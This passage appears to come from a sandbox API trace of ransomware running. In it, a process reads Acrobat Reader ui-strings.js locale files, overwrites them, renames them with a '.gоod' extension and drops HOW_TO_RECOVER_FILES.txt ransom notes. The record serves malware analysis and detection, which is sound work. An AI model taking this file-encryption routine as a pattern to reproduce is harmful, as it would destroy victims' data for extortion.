nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0257.080] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0257.080] FindClose (in: hFindFile=0x134a740 | out: hFindFile=0x134a740) returned 1 [0257.080] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0257.080] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0257.080] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-fr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-fr\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0257.080] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2f0) returned 1 [0257.080] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-fr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-fr\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3f10d80 | out: lpFileInformation=0x3f10d80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5aa)) returned 1 [0257.080] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec2b0) returned 1 [0257.080] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-fr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebc80, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-fr\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0257.080] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1a0) returned 1 [0257.080] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-fr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-fr\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0257.080] GetFileType (hFile=0x768) returned 0x1 [0257.081] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec110) returned 1 [0257.081] GetFileType (hFile=0x768) returned 0x1 [0257.081] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x202ec348 | out: lpFileSizeHigh=0x202ec348*=0x0) returned 0x5aa [0257.081] ReadFile (in: hFile=0x768, lpBuffer=0x3f116d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec278, lpOverlapped=0x0 | out: lpBuffer=0x3f116d8*, lpNumberOfBytesRead=0x202ec278*=0x5aa, lpOverlapped=0x0) returned 1 [0257.082] CloseHandle (hObject=0x768) returned 1 [0258.106] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-fr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebc80, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-fr\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0258.106] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1a0) returned 1 [0258.106] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-fr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-fr\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0258.107] GetFileType (hFile=0x8a8) returned 0x1 [0258.107] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec110) returned 1 [0258.107] GetFileType (hFile=0x8a8) returned 0x1 [0258.107] WriteFile (in: hFile=0x8a8, lpBuffer=0x3760780*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x202ec188, lpOverlapped=0x0 | out: lpBuffer=0x3760780*, lpNumberOfBytesWritten=0x202ec188*=0x5b0, lpOverlapped=0x0) returned 1 [0258.107] CloseHandle (hObject=0x8a8) returned 1 [0258.107] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-fr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-fr\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0258.107] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-fr\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-fr\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x8a [0258.107] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2b0) returned 1 [0258.108] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-fr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-fr\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x202ec390 | out: lpFileInformation=0x202ec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x960ef4de, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5b0)) returned 1 [0258.108] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec270) returned 1 [0258.108] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-fr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-fr\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-fr\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-fr\\ui-strings.js.gоod")) returned 1 [0258.108] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-fr\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-fr\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0258.108] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec4b0) returned 1 [0258.109] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-fr\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-fr\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x8a8 [0258.109] GetFileType (hFile=0x8a8) returned 0x1 [0258.109] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec420) returned 1 [0258.109] GetFileType (hFile=0x8a8) returned 0x1 [0258.110] WriteFile (in: hFile=0x8a8, lpBuffer=0x3764090*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ec578, lpOverlapped=0x0 | out: lpBuffer=0x3764090*, lpNumberOfBytesWritten=0x202ec578*=0x5d0, lpOverlapped=0x0) returned 1 [0258.110] CloseHandle (hObject=0x8a8) returned 1 [0258.110] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0258.110] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-ma", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-ma", lpFilePart=0x0) returned 0x77 [0258.110] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-ma\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a9e0 [0258.111] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.111] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0258.111] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0258.111] FindClose (in: hFindFile=0x134a9e0 | out: hFindFile=0x134a9e0) returned 1 [0258.111] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0258.111] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0258.111] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0258.111] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-ma", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-ma", lpFilePart=0x0) returned 0x77 [0258.111] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-ma\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ae00 [0258.112] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.112] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0258.112] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0258.112] FindClose (in: hFindFile=0x134ae00 | out: hFindFile=0x134ae00) returned 1 [0258.112] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0258.112] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0258.112] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-ma\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-ma\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0258.112] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2f0) returned 1 [0258.112] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-ma\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-ma\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3773f68 | out: lpFileInformation=0x3773f68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5aa)) returned 1 [0258.112] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec2b0) returned 1 [0258.112] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-ma\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebc80, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-ma\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0258.112] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1a0) returned 1 [0258.113] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-ma\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-ma\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0258.113] GetFileType (hFile=0x8a8) returned 0x1 [0258.113] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec110) returned 1 [0258.113] GetFileType (hFile=0x8a8) returned 0x1 [0258.113] GetFileSize (in: hFile=0x8a8, lpFileSizeHigh=0x202ec348 | out: lpFileSizeHigh=0x202ec348*=0x0) returned 0x5aa [0258.113] ReadFile (in: hFile=0x8a8, lpBuffer=0x37748c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec278, lpOverlapped=0x0 | out: lpBuffer=0x37748c0*, lpNumberOfBytesRead=0x202ec278*=0x5aa, lpOverlapped=0x0) returned 1 [0258.114] CloseHandle (hObject=0x8a8) returned 1 [0258.373] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0258.614] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-ma\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebc80, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-ma\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0258.614] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1a0) returned 1 [0258.614] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-ma\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-ma\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0258.614] GetFileType (hFile=0x8a8) returned 0x1 [0258.614] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec110) returned 1 [0258.614] GetFileType (hFile=0x8a8) returned 0x1 [0258.614] WriteFile (in: hFile=0x8a8, lpBuffer=0x37d7408*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x202ec188, lpOverlapped=0x0 | out: lpBuffer=0x37d7408*, lpNumberOfBytesWritten=0x202ec188*=0x5b0, lpOverlapped=0x0) returned 1 [0258.615] CloseHandle (hObject=0x8a8) returned 1 [0258.615] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-ma\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-ma\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0258.615] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-ma\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-ma\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x8a [0258.615] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2b0) returned 1 [0258.615] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-ma\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-ma\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x202ec390 | out: lpFileInformation=0x202ec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x965b3dc0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5b0)) returned 1 [0258.615] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec270) returned 1 [0258.615] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-ma\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-ma\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-ma\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-ma\\ui-strings.js.gоod")) returned 1 [0258.616] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-ma\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-ma\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0258.616] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec4b0) returned 1 [0258.616] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-ma\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-ma\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x8a8 [0258.617] GetFileType (hFile=0x8a8) returned 0x1 [0258.617] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec420) returned 1 [0258.617] GetFileType (hFile=0x8a8) returned 0x1 [0258.618] WriteFile (in: hFile=0x8a8, lpBuffer=0x37dad38*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ec578, lpOverlapped=0x0 | out: lpBuffer=0x37dad38*, lpNumberOfBytesWritten=0x202ec578*=0x5d0, lpOverlapped=0x0) returned 1 [0258.618] CloseHandle (hObject=0x8a8) returned 1 [0258.619] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0258.619] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\he-il", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\he-il", lpFilePart=0x0) returned 0x77 [0258.619] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\he-il\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a7a0 [0258.619] FindNextFileW (in: 